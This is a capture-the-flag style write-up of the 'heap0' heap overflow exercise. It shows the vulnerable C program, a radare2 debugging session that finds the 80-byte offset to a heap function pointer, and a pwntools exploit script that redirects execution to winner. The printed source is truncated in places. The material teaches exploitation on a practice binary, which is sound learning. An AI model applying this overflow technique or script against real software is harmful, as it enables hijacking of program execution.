Luckily it gives us the source:

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct data {
  char name[64];

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];

void winner() {
  printf("Congratulations, you have passed this level\n");

void nowinner() {
      "level has not been passed - function pointer has not been "

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  if (argc < 2) {
    printf("Please specify an argument to copy :-)\n");

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);


  return 0;


So let's analyse what it does:

  • Allocates two chunks on the heap

  • Sets the fp variable of chunk f to the address of nowinner

  • Copies the first command-line argument to the name variable of the chunk d

  • Runs whatever the fp variable of f points at

The weakness here is clear - it runs a random address on the heap. Our input is copied there after the value is set and there's no bound checking whatsoever, so we can overrun it easily.

Regular Execution

Let's check out the heap in normal conditions.

$ r2 -d -A heap0 AAAAAAAAAAAA            <== that's just a parameter
$ s main; pdf
0x0040075d      e8fefdffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
0x00400762      488b45f8       mov rax, qword [var_8h]

We'll break right after the strcpy and see how it looks.

[0x004006f8]> db 0x00400762
[0x004006f8]> dc
hit breakpoint at: 0x400762

If we want, we can check the contents.

So, we can see that the function address is there, after our input in memory. Let's work out the offset.

Working out the Offset

Since we want to work out how many characters we need until the pointer, I'll just use a De Bruijn Sequence.

$ ragg2 -P 200 -r
$ r2 -d -A heap0 AAABAACAADAAE...

Let's break on and after the strcpy. That way we can check the location of the pointer then immediately read it and calculate the offset.

[0x004006f8]> db 0x0040075d
[0x004006f8]> db 0x00400762
[0x004006f8]> dc
hit breakpoint at: 0x40075d

So, the chunk with the pointer is located at 0x2493060. Let's continue until the next breakpoint.

[0x0040075d]> dc
hit breakpoint at: 0x400762

radare2 is nice enough to tell us we corrupted the data. Let's analyse the chunk again.

Notice we overwrote the size field, so the chunk is much bigger. But now we can easily use the first value to work out the offset (we could also, knowing the location, have done pxq @ 0x02493060).

[0x00400762]> wopO 0x6441416341416241

So, fairly simple - 80 characters, then the address of winner.


from pwn import *

elf = context.binary = ELF('./heap0')

payload = (b'A' * 80 + flat(elf.sym['winner'])).replace(b'\x00', b'')

p = elf.process(argv=[payload])


We need to remove the null bytes because argv doesn't allow them

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